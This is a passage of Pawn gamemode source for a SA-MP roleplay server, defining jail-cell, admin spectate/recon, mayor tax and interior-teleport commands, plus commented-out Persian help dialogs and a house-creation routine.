		  if(!IsPlayerInRangeOfPoint(playerid,4,1761.97375, -1564.09131, 2000.41626)) return SCM(playerid,COLOR_SINA3,"You must be near jail control panel.");
		  if(yardopen == 1) return SCM(playerid,COLOR_SINA3,"Yard is already opened.");

		  SCM(playerid,COLOR_GG,"Yard has been opened successfully.");
		  UpdateDynamic3DTextLabelText(OXRR,COLOR_WHITE,"Yard Control Panel\nUse /closeyard to close yard");
		  yardopen = 1;
		  return 1;
		}*/
		/*
		if(!strcmp(cmd,"/closeyard",true))
		{
		  if(PINFO[playerid][pLeader] != 3 && PINFO[playerid][pMember] != 3) return SCM(playerid,COLOR_YELLOW2,"Error: You are not a National Guard.");
		  if(!IsPlayerInRangeOfPoint(playerid,4,1761.97375, -1564.09131, 2000.41626)) return SCM(playerid,COLOR_SINA3,"You must be near jail control panel.");
		  if(yardopen == 0) return SCM(playerid,COLOR_SINA3,"Yard is already closed.");

		  SCM(playerid,COLOR_GG,"Yard has been closed successfully.");
		  UpdateDynamic3DTextLabelText(OXRR,COLOR_WHITE,"Yard Control Panel\nUse /openyard to open yard");
		  yardopen = 0;
		  for(new i = 0;i < Akharish;i++)
			 {
		  if(IsPlayerConnected(i) && GetPlayerVirtualWorld(playerid) == 1020304050)
					{
				   SCM(playerid,COLOR_GG,"Sorry , Yard closed and you were in yard");
				   SpawnPlayer(i);
					}
				}
				return 1;
		}*/
		if(!strcmp(cmd,"/closeallcells",true))
		{
		  if(PINFO[playerid][pLeader] != 3 && PINFO[playerid][pMember] != 3) return SCM(playerid,COLOR_BLUE,"You are not a national guard member.");
		  if(!IsPlayerInRangeOfPoint(playerid,4,2589.205810, -1500.543701, -48.914062)) return SCM(playerid,COLOR_SINA3,"You must be near jail control panel.");
		  if(allcell == false) return SCM(playerid,COLOR_SINA3,"All cells is already closed.");
		  new strlol[100];
		  for(new cell = 1;cell<sizeof(ZendanInfoEx);cell++)
		  {
			MoveDynamicObject(ZendanInfoEx[cell][ciObjID],ZendanInfoEx[cell][CellCloseX],ZendanInfoEx[cell][CellCloseY],ZendanInfoEx[cell][CellCloseZ],1,ZendanInfoEx[cell][CellCloseRotX],ZendanInfoEx[cell][CellCloseRotY],ZendanInfoEx[cell][CellCloseRotZ]);
			format(strlol,100,"Cell: %i\n Use /opencell %i to open this cell.",cell,cell);
			UpdateDynamic3DTextLabelText(ZendanInfoEx[cell][ci3D],COLOR_WHITE,strlol);
			ZendanInfoEx[cell][ciOpened] = false;
		  }
		  allcell = false;
		  SCM(playerid,COLOR_GG,"All cells has been closed successfully.");
		  UpdateDynamic3DTextLabelText(OAC3D,COLOR_WHITE,"Jail Control Panel\nUse /openallcells to open all cells");
		  return 1;
		}
	   if(!strcmp(cmd, "/fss", true))
	   {
	   if(PINFO[playerid][pAdmin] < 7 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	// new pin[1024];
	 //format(pin, sizeof(pin), "* /AFightStyle PlayerID 1\n NORMAL\n\n * /AFightStyle PlayerID 2\n BOXING\n\n * /AFightStyle PlayerID 3\n KUNG FU\n\n * /AFightStyle PlayerID 4\n KNEEHEAD\n\n * /AFightStyle PlayerID 5\n GRABKICK\n\n * /AFightStyle PlayerID 6\n ELBOW\n\n\n Enjoy with fightstyle without gym.");
	   //ShowPlayerDialog(playerid, 2164082, DIALOG_STYLE_MSGBOX,"FightStyle IDs", pin,"{FF0000}Ok", "");
	   ShowPlayerDialog(playerid, 1142, DIALOG_STYLE_MSGBOX, "FightStyle IDs", "* /AFightStyle PlayerID 1\n NORMAL\n\n * /AFightStyle PlayerID 2\n BOXING\n\n * /AFightStyle PlayerID 3\n KUNG FU\n\n * /AFightStyle PlayerID 4\n KNEEHEAD\n\n * /AFightStyle PlayerID 5\n GRABKICK\n\n * /AFightStyle PlayerID 6\n ELBOW", "OK", "");
	 return 1;
	   }
	   if(!strcmp(cmd, "/BoxHelp", true))
	   {
	   //if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	 //new pin[1024];
	 //format(pin, sizeof(pin), "* /GetBox : Get 1 box from Mariana for 3 hours playing.\n * /BuyBox : Buy box from Mariana for 20,500$.\n * /MyBoxes : You can see how much do you have boxes.\n * /OpenBox : It will open your box.");
	   //ShowPlayerDialog(playerid, 2164083, DIALOG_STYLE_MSGBOX,"BOX-HELP", pin,"{FF0000}Ok", "");
	   ShowPlayerDialog(playerid, 1143, DIALOG_STYLE_MSGBOX, "BOX-HELP", " * /GetBox : Get 1 box for free by 3 hours playing.\n * /BuyBox : Buy box for 20,500$ without limiting time.\n * /MyBoxes : You can see how much do you have boxes.\n * /OpenBox : It will open your box.\n * /SellBoxes : It will sell your boxes", "OK", "");
	 return 1;
	   }
	   /*
	   if(!strcmp(cmd, "/Updates", true))
	   {
	 new pin[1024];
	 format(pin, sizeof(pin), "Update Haye Jadid Server Ra Dar Inja Moshahede Namaeid  :\n  \n * Add Shodane \n /mt /mj /mp /mk /msl /mg Baraye Cop Ha \n - Shoma Digar Mitavanid Skine Khod Ra Baghale Map Bebinid \n - Shoma Mitavanid Vehicle i ke Bar Ruye On Neshastid Dar Paeiene Poole Khod Bebinid \n - /JailList \n - Anti-Insult System Enabled \n - /DeletePin \n - /Respray \n - /CarColor 100$ Kam Mikonad \n - /WhoKill Fixed \n \n * For See Other Updates Use: /Updates2 *");
	   ShowPlayerDialog(playerid, 21000012, DIALOG_STYLE_MSGBOX,"Update Haye Version 9.9", pin,"{FF0000}Ok", "");
	 return 1;
	   }
	   if(!strcmp(cmd, "/Updates2", true))
	   {
	 new pin[1024];
	 format(pin, sizeof(pin), "Update Haye Jadid Server Ra Dar Inja Moshahede Namaeid  :\n  \n * Add Shodane \n - /Scripters \n - /Neon \n - /Shop Fixed \n - /Order Fixed \n - /Escape \n - /SubLeaderChat \n - /CarRadio Fixed.");
	   ShowPlayerDialog(playerid, 21000013, DIALOG_STYLE_MSGBOX,"Update Haye Version 9.9", pin,"{FF0000}Ok", "");
	 return 1;
	   }
	   */
	   /*
	   if(strcmp(cmd, "/hostershelp", true) == 0 || strcmp(cmd, "/hosterhelp", true) == 0)
	   {
	 //new pin[1024];
	 //format(pin, sizeof(pin), "Ghabeliate Hoster Ha : \n * HosterLvl 1 \n - /HosterLic \n - /MyHoster \n - /AFightStyle \n - /SetMatSkill \n - /SetDetSkill \n - /SetLawSkill \n - /SetMechSkill \n - /SetNewsSkill \n - /SetJackSkill \n - /SetDrugsSkill \n - /SetRobSkill \n - /HosterSay \n - /FlyMode /FlyMode2 \n \n * HosterLvl 3 \n - /SetLawyerPointSkill \n - /SetSex \n \n * HosterLvl 6 \n - /SetBankMoney \n - /SetFactionPunish \n - /SetRobPoints \n");
	   //ShowPlayerDialog(playerid, 21000014, DIALOG_STYLE_MSGBOX,"Ghabeliat Haye Hoster Ha", pin,"{FF0000}Ok", "");
	   ShowPlayerDialog(playerid, 1145, DIALOG_STYLE_MSGBOX, "HOSTERS-FEATURE", "* HosterLvl 1 \n - /HosterLic \n - /MyHoster \n - /AFightStyle \n - /SetMatSkill \n - /SetDetSkill \n - /SetLawSkill \n - /SetMechSkill \n - /SetNewsSkill \n - /SetJackSkill \n - /SetDrugsSkill \n - /SetRobSkill \n - /HosterSay \n - /FlyMode /FlyMode2 \n \n * HosterLvl 3 \n - /SetLawyerPointSkill \n - /SetSex \n \n * HosterLvl 6 \n - /SetFactionPunish \n - /SetRobPoints \n", "OK", "");
	 return 1;
	   }
	   */
	   /*
	   if(!strcmp(cmd, "/AdminUpdates", true))
	   {
	   if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Shoma Nemitavanid Update Haye Admins Ro Bebinid.");
	 new pin[1024];
	 format(pin, sizeof(pin), "Tamamie Update Haye Admins Inja Gharar Migirad! \n \n * Add Shodane: \n - /RequestRelog \n - /Clogo /DLogo \n - /FlyMode \n - /FlyMode2 \n - /Afind \n - /DMember /DLeader /DHelper /DAdmin \n - /AGunSuspend \n /Adh Fixed \n - Bar Rouye Admin Bala /FakeCmd Nemishavad \n - Be Admin Lvl 10 Be Bala Nemishavad /Su Va /Contract Dad \n - /Adh Fixed \n - /Ffnn Fixed \n - /PrisonBreak \n *  /ClearChat ReWrited \n - /LockCmd \n - /Rjt \n - /Rj \n");
	   ShowPlayerDialog(playerid, 21000015, DIALOG_STYLE_MSGBOX,"Update Haye Version 9.9 ( Admins )", pin,"{FF0000}Ok", "");
	 return 1;
	   }
	   */
	   /*
	   if(strcmp(cmd, "/nextupdates", true) == 0 || strcmp(cmd, "/nextupdate", true) == 0)
	   {
	   if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: AdminLevel e Shoma Baraye Didane Update Haye Badie Server Kam Ast.");
	 new pin[1024];
	 format(pin, sizeof(pin), "Ba Salam Admine Mohtaram \n \n In Ghesmat Baraye Didane Update Haye Badie Server Ast! \n \n Update Haye Badie Server Be Sharhe Zir Mibashad \n \n Dar Update Haye Badi Bishtar Rouye Gozine Haye Zir Kar Mishavad \n \n * Kar Kardan Rouye Cop Ha \n * Ezafe Shodane Mapping Haye Jaleb \n * Ezafe Shodane Cmd Haye Jaleb Va Fun \n * Ezafe Shodane Ghabeliat Haye Jaleb Baraye Hoster ha \n * Bezoodi Update Haye Digar Ra Dar In Ghesmat Bebinid");
	   ShowPlayerDialog(playerid, 21000016, DIALOG_STYLE_MSGBOX,"Update Haye Badie Server ( V1.0.0 )", pin,"{FF0000}Ok", "");
	 return 1;
	   }
	   */
	   /*
	   if(strcmp(cmd, "/HosterRules", true) == 0 || strcmp(cmd, "/HostersRules", true) == 0)
	   {
	 new pin[1024];
	 format(pin, sizeof(pin), "Chenanche Shoma Be In Dastoorat Amal Nakonid AdminAv Daryaft Mikonid \n * Shoma Nabayad Baraye Kasi Az Ghabeliat Haye Khod Estefade Konid \n - Masalan Shoma Nabayad /SetDetSkill Konid \n \n * Bayad Ehteram Dashte Bashid \n \n * Bikhodi Kasi Ro Mute / Jail / Ban Konid Demote Mishavid \n \n * Az Kasi Baj Nagirid \n \n * Hargoune SoEstefade Konid Mojazat Mishavid");
	   ShowPlayerDialog(playerid, 21000017, DIALOG_STYLE_MSGBOX,"HostersRules", pin,"{FF0000}Ok", "");
	 return 1;
	   }
	   */
	   /*
	   if(strcmp(cmd, "/HosterPrice", true) == 0 || strcmp(cmd, "/HostersPrice", true) == 0)
	   {
	 new pin[1024];
	 format(pin, sizeof(pin), "Hosters Price \n \n * Shoma Bayad Ba Owner Haye Server Darmorede Kharide Hoster Sohbat Konid \n \n * Bezan /Owners Va Age Owner I Online Bod /Report Bede Va Begu Ba Owner Kar Daram");
	   ShowPlayerDialog(playerid, 21000018, DIALOG_STYLE_MSGBOX,"HostersPrice", pin,"{FF0000}Ok", "");
	 return 1;
	   }
	   */
		if(strcmp(cmd, "/specplayer", true) == 0 || strcmp(cmd, "/sp", true) == 0)
		{
			if(PINFO[playerid][pAdmin] <= 0 && PINFO[playerid][pSponser] == 0) return ErrorMessage1(playerid);
			if(Specing[playerid] >= 1) return SCM(playerid,COLOR_GG,"You already on Spectating, you can use /specoff to stop spectating.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /specplayer <Playerid/PartOfName>");
			new Taraf = ReturnUser6(tmp);
			if(Taraf == playerid) return SCM(playerid,COLOR_Good,"You cannot spec yourself.");
			if(!IsPlayerConnected(Taraf)) return PlayerNotConnected(playerid);
			if(Specing[Taraf] >= 1) return SCM(playerid,COLOR_GG,"That admin is specing someone else.");
			if(PINFO[playerid][pAdmin] < PINFO[Taraf][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			GetPlayerPos(playerid,TelePos2[playerid][0],TelePos2[playerid][1],TelePos2[playerid][2]);
			TelportEtela2[playerid][0] = GetPlayerVirtualWorld(playerid);
			TelportEtela2[playerid][1] = GetPlayerInterior(playerid);
			TelportEtela2[playerid][2] = Mahal[playerid];
			TelportEtela2[playerid][4] = TooBiz[playerid];
			TelportEtela2[playerid][3] = TooHouse[playerid];
			new stringz[256];
			format(stringz,sizeof(stringz),"[Admin-Warn]: {FFFFFF}Admin %s is spectating on %s",PINFO[playerid][pName],PINFO[Taraf][pName]);
			SendHAdminMessage(COLOR_AdminWarn, stringz);
			SpecPlayer(playerid,Taraf);
			return 1;
		}
	if(strcmp(cmd, "/rec", true) == 0 || strcmp(cmd, "/recon", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 6) return ErrorMessage1(playerid);
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /recon <Playerid/PartOfName>");
			new Taraf = ReturnUser6(tmp);
			if(Taraf == playerid) return SCM(playerid,COLOR_Good,"You cannot recon on yourself.");
			if(SpecOnt[playerid] != 9999) return SCM(playerid,COLOR_Good,"You already were on recon.");
			if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PINFO[playerid][pAdmin] < PINFO[Taraf][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(!IsPlayerConnected(Taraf)) return PlayerNotConnected(playerid);
			GetPlayerPos(playerid,TelePos2[playerid][0],TelePos2[playerid][1],TelePos2[playerid][2]);
			TelportEtela2[playerid][0] = GetPlayerVirtualWorld(playerid);
			TelportEtela2[playerid][1] = GetPlayerInterior(playerid);
			TelportEtela2[playerid][2] = Mahal[playerid];
			TelportEtela2[playerid][4] = TooBiz[playerid];
			TelportEtela2[playerid][3] = TooHouse[playerid];
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new tarafname[40];
			GetPlayerName(Taraf, tarafname, sizeof(tarafname));
			SpecPlayer(playerid,Taraf);
			Specer[Taraf] = playerid;
			SpecOnt[playerid] = Taraf;
			new string[512];
			format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s enabled recon on %s",name,tarafname);
			ABroadCast(COLOR_AdminWarn,string,7);
			return 1;
		}
		if(strcmp(cmd, "/ahrec", true) == 0 || strcmp(cmd, "/ahrecon", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 6) return ErrorMessage1(playerid);
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /ahrecon <Playerid/PartOfName>");
			if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "you cannot ahrecon an admin higher than you.");
			new Taraf = ReturnUser6(tmp);
		   // if(Taraf == playerid) return SCM(playerid,COLOR_Good,"You cannot ahrecon on yourself.");
			if(SpecOnt[playerid] != 9999) return SCM(playerid,COLOR_Good,"You already were on ahrecon.");
			if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PINFO[playerid][pAdmin] < PINFO[Taraf][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(!IsPlayerConnected(Taraf)) return PlayerNotConnected(playerid);
			new name[40];
			GetPlayerName(playerid, name, sizeof(name));
			new tarafname[40];
			GetPlayerName(Taraf, tarafname, sizeof(tarafname));
			Specer[Taraf] = playerid;
			SpecOnt[playerid] = Taraf;
			new string[512];
			format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s enabled ahrecon on %s.",name,tarafname);
			ABroadCast(COLOR_AdminWarn,string,8);
			return 1;
		}


		if(!strcmp(cmd, "/unrec", true))
		{
			if(PlayerInfo[playerid][pAdmin] >= 1){
			if(SpecOnt[playerid] != 9999)
			{
			Specer[SpecOnt[playerid]] = 9999;
			SpecOnt[playerid] = 9999;
			SCM(playerid, COLOR_AdminWarn, "Recon disabled");
			StopSpec(playerid);

			return 1;
			}
			else
			{
			SCM(playerid,COL_SYN,"You are not on recon.");
			return 1;
			}
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
		}
		if(!strcmp(cmd, "/unahrec", true))
		{
			if(PlayerInfo[playerid][pAdmin] >= 3){
			if(SpecOnt[playerid] != 9999)
			{
			Specer[SpecOnt[playerid]] = 9999;
			SpecOnt[playerid] = 9999;
			SCM(playerid, COLOR_AdminWarn, "AhRecon disabled");
			return 1;
			}
			else
			{
			SCM(playerid,COL_SYN,"You are not on recon.");
			return 1;
			}
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
		}

		if(!strcmp(cmd,"/specf",true))
		{
			if(PINFO[playerid][pAdmin] <= 0) return ErrorMessage1(playerid);
			if(Specing[playerid] >= 1) return SCM(playerid,COLOR_GG,"You already on Spectating, you can use /specoff to stop spectating.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /specplayer <Playerid/PartOfName>");
			new Taraf = ReturnUser6(tmp);
			if(Taraf == playerid) return SCM(playerid,COLOR_Good,"You cannot spec yourself.");
			if(!IsPlayerConnected(Taraf)) return PlayerNotConnected(playerid);
			if(Specing[Taraf] >= 1) return SCM(playerid,COLOR_GG,"That admin is specing someone else.");
			GetPlayerPos(playerid,TelePos2[playerid][0],TelePos2[playerid][1],TelePos2[playerid][2]);
			TelportEtela2[playerid][0] = GetPlayerVirtualWorld(playerid);
			TelportEtela2[playerid][1] = GetPlayerInterior(playerid);
			TelportEtela2[playerid][2] = Mahal[playerid];
			TelportEtela2[playerid][4] = TooBiz[playerid];
			TelportEtela2[playerid][3] = TooHouse[playerid];
			PhoneOnline[playerid] = 0;
//			new string[256];
			SpecPlayer(playerid,Taraf);
			return 1;
		}
		if(!strcmp(cmd,"/givetax",true))
	 {
			if(PINFO[playerid][pLeader] != 7) return SCM(playerid,COLOR_YELLOW2,"Error: You are not The Mayor.");
			if(TaxValue <= 0) return SCM(playerid,COLOR_YELLOW2,"Error: There isn't any tax in Mayor's SafeBox");
			if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
			if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
            tmp = strtok(cmdtext,idx);
            if(!strlen(tmp)){
		    SCM(playerid,COL_SYN,"Syntax: /givetax <Amount>");
  		    new bas[50];
		    format(bas, 50, "There is $%s in Safebox.",FormatNumber(TaxValue));
		    SendMessage(playerid, COLOR_MAYOR, bas);
		    return 1;
		    }
            new taxbezan = strval(tmp);
            if(taxbezan < 1000) return SCM(playerid, COLOR_YELLOW2, "Error: You should enter an amount more than $1000.");
			new nafar = 0;
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i))
				{
					if(PINFO[i][pLevel] >= 2 && PINFO[i][pLevel] <= 7 && i != playerid)
					{
						nafar ++;
					}
				}
			}
			if(nafar == 0) return SCM(playerid,COLOR_YELLOW2,"Error: There isn't any newbie player online.");
			new TaxGive = taxbezan/nafar;
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i))
				{
					if(PINFO[i][pLevel] >= 2 && PINFO[i][pLevel] <= 7 && i != playerid)
					{
						PINFO[i][pAccount] += TaxGive;
						SaveKonVal(i, "pAccount", PINFO[i][pAccount]);
						//SaveAccount(i);
					}
				}
			}
			TaxValue -= taxbezan;
			taxbezan = 0;
			SaveStuff();
			new strlol[512];
			format(strlol,512,"Mayor %s given $%s money to %i players with level 2-7.",PINFO[playerid][pName],FormatNumber(TaxGive),nafar);
			SendClientMessageToAll(COLOR_MAYOR,strlol);
			return 1;
		}
//		new housescreated = 1100;
		if(!strcmp(cmd,"/gotohint",true))
		{
		if(PlayerInfo[playerid][pAdmin] <= 6) return SCM(playerid,COLOR_YELLOW2,"Error: Unknown command.");
		if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_SINA3,"Error: you can't do this command when you are in vehicle!");
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /gotohint <Interior ID(1-27)>");
		new numehouse = strval(tmp);
		new Float:entx,Float:enty,Float:entz,inth;
		if(numehouse == 1)
		{
		entx = 2468.365966;
		enty = -1698.416625;
		entz = 1013.507812;
		inth = 2;
	//	lvlh = 12;
		}
		if(numehouse == 2)
		{
		entx = 2495.723876;
		enty = -1693.244995;
		entz = 1014.742187;
		inth = 3;
	//	lvlh = 10;
		}
		if(numehouse == 3)
		{
		entx = 2233.672363;
		enty = -1114.459106;
		entz = 1050.882812;
		inth = 5;
	//	lvlh = 10;
		}
		if(numehouse == 4)
		{
		entx = 2195.893310;
		enty = -1204.445678;
		entz = 1049.023437;
		inth = 6;
	//	lvlh = 10;
		}
		if(numehouse == 5)
		{
		entx = 2317.994384;
		enty = -1025.836425;
		entz = 1050.210937;
		inth = 9;
	//	lvlh = 10;
		}
		if(numehouse == 6)
		{
		entx = 2260.268310;
		enty = -1136.028930;
		entz = 1050.632812;
		inth = 10;
	//	lvlh = 5;
		}
		if(numehouse == 7)
		{
		entx = 235.288238;
		enty = 1187.125488;
		entz = 1080.257812;
		inth = 3;
//		lvlh = 13;
		}
		if(numehouse == 8)
		{
		entx = 225.314559;
		enty = 1239.864135;
		entz = 1082.140625;
		inth = 2;
	//	lvlh = 7;
		}
		if(numehouse == 9)
		{
		entx = 222.998306;
		enty = 1287.692382;
		entz = 1082.140625;
		inth = 1;
	//	lvlh = 8;
		}
		if(numehouse == 10)
		{
		entx = 226.973403;
		enty = 1114.219360;
		entz = 1080.996459;
		inth = 5;
	//	lvlh = 14;
		}
		if(numehouse == 11)
		{
		entx = 295.228607;
		enty = 1472.994995;
		entz = 1080.257812;
		inth = 15;
	//	lvlh = 10;
		}
		if(numehouse == 12)
		{
		entx = 447.062316;
		enty = 1397.541625;
		entz = 1084.304687;
		inth = 2;
	//	lvlh = 8;
		}
		if(numehouse == 13)
		{
		entx = 226.921157;
		enty = 1114.367797;
		entz = 1080.996093;
		inth = 5;
	//	lvlh = 14;
		}
		if(numehouse == 14)
		{
		entx = 260.931701;
		enty = 1284.655761;
		entz = 1080.257812;
		inth = 4;
	//	lvlh = 4;
		}
		if(numehouse == 15)
		{
		entx = 24.113548;
		enty = 1340.711914;
		entz = 1084.375000;
		inth = 10;
	//	lvlh = 10;
		}
		if(numehouse == 16)
		{
		entx = 221.947799;
		enty = 1140.788696;
		entz = 1082.609375;
		inth = 4;
	//	lvlh = 5;
		}
		if(numehouse == 17)
		{
		entx = 2324.500976;
		enty = -1148.895507;
		entz = 1050.710083;
		inth = 12;
	//	lvlh = 12;
		}
		if(numehouse == 18)
		{
		entx = 22.807277;
		enty = 1403.864746;
		entz = 1084.429687;
		inth = 5;
	//	lvlh = 7;
		}
		if(numehouse == 19)
		{
		entx = 140.445510;
		enty = 1366.469726;
		entz = 1083.859375;
		inth = 5;
	//	lvlh = 15;
		}
		if(numehouse == 20)
		{
		entx = 234.098831;
		enty = 1064.388549;
		entz = 1084.211303;
		inth = 6;
	//	lvlh = 15;
		}
		if(numehouse == 21)
		{
		entx = 2217.460449;
		enty = -1076.410522;
		entz = 1050.484375;
		inth = 1;
	//	lvlh = 8;
		}
		if(numehouse == 22)
		{
		entx = 2365.198974;
		enty = -1135.136596;
		entz = 1050.875000;
		inth = 8;
	//	lvlh = 6;
		}
		if(numehouse == 23)
		{
		entx = -42.693019;
		enty = 1406.028686;
		entz = 1084.429687;
		inth = 8;
	//	lvlh = 5;
		}
		if(numehouse == 24)
		{
		entx = 2285.795166;
		enty = -1137.499755;
		entz = 1050.898437;
		inth = 11;
//		lvlh = 3;
		}
		if(numehouse == 25)
		{
		entx = 83.098403;
		enty = 1322.736083;
		entz = 1083.866210;
		inth = 9;
//		lvlh = 12;
		}
		if(numehouse == 26)
		{
		entx = 260.850860;
		enty = 1238.124633;
		entz = 1084.257812;
		inth = 9;
//		lvlh = 10;
		}
		if(numehouse == 27)
		{
		entx = 225.625717;
		enty = 1022.504638;
		entz = 1084.014648;
		inth = 7;
//		lvlh = 15;
		}
		SetPlayerPos(playerid,entx,enty,entz);
		SetPlayerInterior(playerid,inth);
		return 1;
		}

/*
		if(!strcmp(cmd,"/deletelasthouse",true))
		{
		if(PlayerInfo[playerid][pAdmin] <= 11) return SCM(playerid,COLOR_YELLOW2,"Error: Unknown command.");
		new query[512];
		mysql_format(handle, query,512,"DELETE FROM `houses` WHERE hSQLID='%d'",housescreated);
		mysql_function_query(handle,query,false,"SendQuery","");
		housescreated --;
		SCM(playerid,COLOR_Orang,"DONE");
		return 1;
		}
		*/
		/*
		if(!strcmp(cmd,"/createhouse",true))
		{
		if(PlayerInfo[playerid][pAdmin] <= 11) return SCM(playerid,COLOR_YELLOW2,"Error: Unknown command.");
		if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_Orang,"Az mashin dar bia baw!");
		new Float:pox,Float:poy,Float:poz,numehouse,gheimat,sqlid,Float:entx,Float:enty,Float:entz,inth,lvlh,worldh,gheimath;
		GetPlayerPos(playerid,pox,poy,poz);
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /createhouse <InteriorNumber(1-27)> <gheimat>");
		numehouse = strval(tmp);
		if(numehouse <= 0 || numehouse >= 28) return SCM(playerid,COLOR_Orang,"Invalid Interior Number type a number beween 1 and 26");
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /createhouse <InteriorNumber(1-27)> <gheimat>");
		gheimat = strval(tmp);
		if(numehouse == 1)
		{
		entx = 2468.365966;
		enty = -1698.416625;
		entz = 1013.507812;
		inth = 2;
		lvlh = 12;
		gheimath = 5000000;//house interior 1
		}
		if(numehouse == 2)
		{
		entx = 2495.723876;
		enty = -1693.244995;
		entz = 1014.742187;
		inth = 3;
		lvlh = 10;
		gheimath = 12000000;//house interior 2
		}
		if(numehouse == 3)
		{
		entx = 2233.672363;
		enty = -1114.459106;
		entz = 1050.882812;
		inth = 5;
		lvlh = 10;
		gheimath = 1800000;//house interior 3
		}
		if(numehouse == 4)
		{
		entx = 2195.893310;
		enty = -1204.445678;
		entz = 1049.023437;
		inth = 6;
		lvlh = 10;
		gheimath = 22500000;//house interior 4
		}
		if(numehouse == 5)
		{
		entx = 2317.994384;
		enty = -1025.836425;
		entz = 1050.210937;
		inth = 9;
		lvlh = 10;
		gheimath = 75000000;//house interior 5
		}
		if(numehouse == 6)
		{
		entx = 2260.268310;
		enty = -1136.028930;
		entz = 1050.632812;
		inth = 10;
		lvlh = 5;
		gheimath = 1200000;//house interior 6
		}
		if(numehouse == 7)
		{
		entx = 235.288238;
		enty = 1187.125488;
		entz = 1080.257812;
		inth = 3;
		lvlh = 13;
		gheimath = 80000000;//house interior 7
		}
		if(numehouse == 8)
		{
		entx = 225.314559;
		enty = 1239.864135;
		entz = 1082.140625;
		inth = 2;
		lvlh = 7;
		gheimath = 2000000;//house interior 8
		}
		if(numehouse == 9)
		{
		entx = 222.998306;
		enty = 1287.692382;
		entz = 1082.140625;
		inth = 1;
		lvlh = 8;
		gheimath = 5000000;//house interior 9
		}
		if(numehouse == 10)
		{
		entx = 226.973403;
		enty = 1114.219360;
		entz = 1080.996459;
		inth = 5;
		lvlh = 14;
		gheimath = 60000000;//house interior 10
		}
		if(numehouse == 11)
		{
		entx = 295.228607;
		enty = 1472.994995;
		entz = 1080.257812;
		inth = 15;
		lvlh = 10;
		gheimath = 35000000;//house interior 11
		}
		if(numehouse == 12)
		{
		entx = 447.062316;
		enty = 1397.541625;
		entz = 1084.304687;
		inth = 2;
		lvlh = 8;
		gheimath = 34000000;//house interior 12
		}
		if(numehouse == 13)
		{
		entx = 226.921157;
		enty = 1114.367797;
		entz = 1080.996093;
		inth = 5;
		lvlh = 14;
		gheimath = 60000000;//house interior 13
		}
		if(numehouse == 14)
		{
		entx = 260.931701;
		enty = 1284.655761;
		entz = 1080.257812;
		inth = 4;
		lvlh = 4;
		gheimath = 17000000;//house interior 14
		}
		if(numehouse == 15)
		{
		entx = 24.113548;
		enty = 1340.711914;
		entz = 1084.375000;
		inth = 10;
		lvlh = 10;
		gheimath = 45000000;//house interior 15
		}
		if(numehouse == 16)
		{
		entx = 221.947799;
		enty = 1140.788696;
		entz = 1082.609375;
		inth = 4;
		lvlh = 5;
		gheimath = 1800000;//house interior 16
		}
		if(numehouse == 17)
		{
		entx = 2324.500976;
		enty = -1148.895507;
		entz = 1050.710083;
		inth = 12;
		lvlh = 12;
		gheimath = 55000000;//house interior 17
		}
		if(numehouse == 18)
		{
		entx = 22.807277;
		enty = 1403.864746;
		entz = 1084.429687;
		inth = 5;
		lvlh = 7;
		gheimath = 30000000;//house interior 18
		}
		if(numehouse == 19)
		{
		entx = 140.445510;
		enty = 1366.469726;
		entz = 1083.859375;
		inth = 5;
		lvlh = 15;
